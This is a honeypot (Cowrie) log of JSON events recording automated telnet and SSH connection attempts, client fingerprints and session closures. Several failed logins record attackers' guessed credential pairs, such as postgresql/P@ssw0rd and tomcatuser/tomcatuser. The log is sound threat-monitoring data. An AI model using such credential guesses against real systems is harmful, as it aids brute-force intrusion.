{"eventid":"cowrie.session.closed","duration":37.19402599334717,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:41.568176Z","src_ip":"38.60.198.128","session":"b357413ebacc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47392,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc5f05214dbd","protocol":"telnet","message":"New connection: 38.60.198.128:47392 (159.203.135.109:23) [session: bc5f05214dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:41.626650Z"}
{"eventid":"cowrie.session.closed","duration":41.63934946060181,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:43.648366Z","src_ip":"192.211.53.160","session":"f562e3b03d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.94818425178528,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:52.250139Z","src_ip":"38.60.198.128","session":"ed2551455eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c2917296e4","protocol":"telnet","message":"New connection: 38.60.198.128:37612 (159.203.135.109:23) [session: 48c2917296e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:56.153216Z"}
{"eventid":"cowrie.session.closed","duration":46.60819888114929,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:43:58.753144Z","src_ip":"38.60.198.128","session":"39149a8ffca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.87018609046936,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:00.909330Z","src_ip":"38.60.198.128","session":"eda587a36ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81991100311279,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:01.777894Z","src_ip":"38.60.198.128","session":"55a0eab7a981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12617087364197,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:03.268518Z","src_ip":"38.60.198.128","session":"04b733b850df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47348,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce453f40775","protocol":"telnet","message":"New connection: 38.60.198.128:47348 (159.203.135.109:23) [session: 4ce453f40775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:04.040581Z"}
{"eventid":"cowrie.session.closed","duration":49.354249477386475,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:04.518239Z","src_ip":"38.54.119.93","session":"fd01d162d76f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cdd2997038a","protocol":"telnet","message":"New connection: 38.60.198.128:49138 (159.203.135.109:23) [session: 6cdd2997038a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:06.398072Z"}
{"eventid":"cowrie.session.closed","duration":48.12625288963318,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:12.856022Z","src_ip":"38.60.198.128","session":"a107c0d2d2a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34940,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac561c6ffda","protocol":"telnet","message":"New connection: 38.60.198.128:34940 (159.203.135.109:23) [session: fac561c6ffda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:16.432098Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":1402,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d71157fa724","protocol":"ssh","message":"New connection: 115.68.208.117:1402 (10.17.0.5:22) [session: 0d71157fa724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:17.204324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:17.209002Z","src_ip":"115.68.208.117","session":"0d71157fa724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:17.420386Z","src_ip":"115.68.208.117","session":"0d71157fa724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"P@ssw0rd","message":"login attempt [postgresql/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:18.265513Z","src_ip":"115.68.208.117","session":"0d71157fa724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65429711341858,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:19.280829Z","src_ip":"38.60.198.128","session":"bc5f05214dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:19.484485Z","src_ip":"115.68.208.117","session":"0d71157fa724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.92730665206909,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:19.523271Z","src_ip":"38.60.198.128","session":"57b4a55e282a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.55493187904358,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:21.425138Z","src_ip":"38.60.198.128","session":"d7ca55ac3a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41144,"dst_ip":"159.203.135.109","dst_port":23,"session":"a08135f4854e","protocol":"telnet","message":"New connection: 38.60.198.128:41144 (159.203.135.109:23) [session: a08135f4854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:21.654583Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43146,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecb39d37a8ae","protocol":"telnet","message":"New connection: 38.60.198.128:43146 (159.203.135.109:23) [session: ecb39d37a8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:25.140988Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43404,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8571f95b25","protocol":"telnet","message":"New connection: 38.54.119.93:43404 (10.17.0.5:23) [session: ad8571f95b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:26.567348Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6dd583db8d","protocol":"telnet","message":"New connection: 38.60.198.128:49448 (159.203.135.109:23) [session: ad6dd583db8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:28.238278Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49812,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f74daebdd6","protocol":"telnet","message":"New connection: 38.60.198.128:49812 (159.203.135.109:23) [session: 80f74daebdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:29.495536Z"}
{"eventid":"cowrie.session.closed","duration":3.7404940128326416,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:33.235898Z","src_ip":"38.60.198.128","session":"80f74daebdd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47972,"dst_ip":"10.17.0.5","dst_port":23,"session":"23785f1412e7","protocol":"telnet","message":"New connection: 38.54.119.93:47972 (10.17.0.5:23) [session: 23785f1412e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:33.565835Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":39228,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfdc88b19174","protocol":"ssh","message":"New connection: 191.101.59.69:39228 (159.203.135.109:22) [session: cfdc88b19174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:35.185255Z"}
{"eventid":"cowrie.session.closed","duration":40.10594129562378,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:36.259047Z","src_ip":"38.60.198.128","session":"48c2917296e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37392,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cad4051f1b","protocol":"telnet","message":"New connection: 38.60.198.128:37392 (159.203.135.109:23) [session: 93cad4051f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:37.085082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:37.490401Z","src_ip":"191.101.59.69","session":"cfdc88b19174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:38.421474Z","src_ip":"191.101.59.69","session":"cfdc88b19174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.272366523742676,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:39.838062Z","src_ip":"38.54.119.93","session":"23785f1412e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tomcatuser","password":"tomcatuser","message":"login attempt [tomcatuser/tomcatuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:40.588037Z","src_ip":"191.101.59.69","session":"cfdc88b19174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d500eaf184","protocol":"telnet","message":"New connection: 38.60.198.128:44650 (159.203.135.109:23) [session: 35d500eaf184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:41.570570Z"}
{"eventid":"cowrie.session.closed","duration":37.539952754974365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:41.580411Z","src_ip":"38.60.198.128","session":"4ce453f40775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:41.786815Z","src_ip":"191.101.59.69","session":"cfdc88b19174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.734869956970215,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:42.132815Z","src_ip":"38.60.198.128","session":"6cdd2997038a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.28417992591858,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:42.937707Z","src_ip":"38.60.198.128","session":"729003f90845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e97acddb2cce","protocol":"telnet","message":"New connection: 38.60.198.128:55246 (159.203.135.109:23) [session: e97acddb2cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:50.021705Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59494,"dst_ip":"159.203.135.109","dst_port":23,"session":"7098a9c59f47","protocol":"telnet","message":"New connection: 38.60.198.128:59494 (159.203.135.109:23) [session: 7098a9c59f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:52.285973Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53480,"dst_ip":"159.203.135.109","dst_port":23,"session":"96dce165abf0","protocol":"telnet","message":"New connection: 38.60.198.128:53480 (159.203.135.109:23) [session: 96dce165abf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:53.931628Z"}
{"eventid":"cowrie.session.closed","duration":0.9750757217407227,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:44:54.906578Z","src_ip":"38.60.198.128","session":"96dce165abf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57212,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a7fe9db9c0e","protocol":"telnet","message":"New connection: 192.211.53.160:57212 (159.203.135.109:23) [session: 6a7fe9db9c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:00.511420Z"}
{"eventid":"cowrie.session.closed","duration":39.92504644393921,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:01.579513Z","src_ip":"38.60.198.128","session":"a08135f4854e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.71310520172119,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:04.145098Z","src_ip":"38.60.198.128","session":"fac561c6ffda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08370351791382,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:06.321908Z","src_ip":"38.60.198.128","session":"ad6dd583db8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140476226807,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:06.706207Z","src_ip":"186.53.42.196","session":"23cf480d5203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0009777545929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:06.891963Z","src_ip":"38.60.198.128","session":"795ab9a9a109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48626,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc4f7d22eeaa","protocol":"telnet","message":"New connection: 38.60.198.128:48626 (159.203.135.109:23) [session: cc4f7d22eeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:07.329171Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b76461b497","protocol":"telnet","message":"New connection: 38.60.198.128:50234 (159.203.135.109:23) [session: 17b76461b497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:07.653438Z"}
{"eventid":"cowrie.session.closed","duration":44.88309907913208,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:10.023964Z","src_ip":"38.60.198.128","session":"ecb39d37a8ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.6697883605957,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:12.237034Z","src_ip":"38.54.119.93","session":"ad8571f95b25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45904,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eba7988d387","protocol":"telnet","message":"New connection: 38.54.119.93:45904 (10.17.0.5:23) [session: 2eba7988d387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:13.485750Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":40486,"dst_ip":"10.17.0.5","dst_port":22,"session":"26efb2895d01","protocol":"ssh","message":"New connection: 115.68.208.117:40486 (10.17.0.5:22) [session: 26efb2895d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:15.184643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:15.189284Z","src_ip":"115.68.208.117","session":"26efb2895d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:15.401105Z","src_ip":"115.68.208.117","session":"26efb2895d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"Passw0rd","message":"login attempt [deployer/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:16.244118Z","src_ip":"115.68.208.117","session":"26efb2895d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:17.447969Z","src_ip":"115.68.208.117","session":"26efb2895d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.807581663131714,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:17.892554Z","src_ip":"38.60.198.128","session":"93cad4051f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.592569351196289,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:20.078191Z","src_ip":"38.54.119.93","session":"2eba7988d387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb1d28c3711f","protocol":"telnet","message":"New connection: 38.60.198.128:37624 (159.203.135.109:23) [session: cb1d28c3711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:21.156669Z"}
{"eventid":"cowrie.session.closed","duration":41.15879583358765,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:22.729262Z","src_ip":"38.60.198.128","session":"35d500eaf184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60968,"dst_ip":"159.203.135.109","dst_port":23,"session":"620f5da576e7","protocol":"telnet","message":"New connection: 38.60.198.128:60968 (159.203.135.109:23) [session: 620f5da576e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:24.034544Z"}
{"eventid":"cowrie.session.closed","duration":0.9349091053009033,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:24.969333Z","src_ip":"38.60.198.128","session":"620f5da576e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28220295906067,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:26.303827Z","src_ip":"38.60.198.128","session":"e97acddb2cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.76920509338379,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:45:31.055094Z","src_ip":"38.60.198.128","session":"7098a9c59f47","protocol":"telnet"}
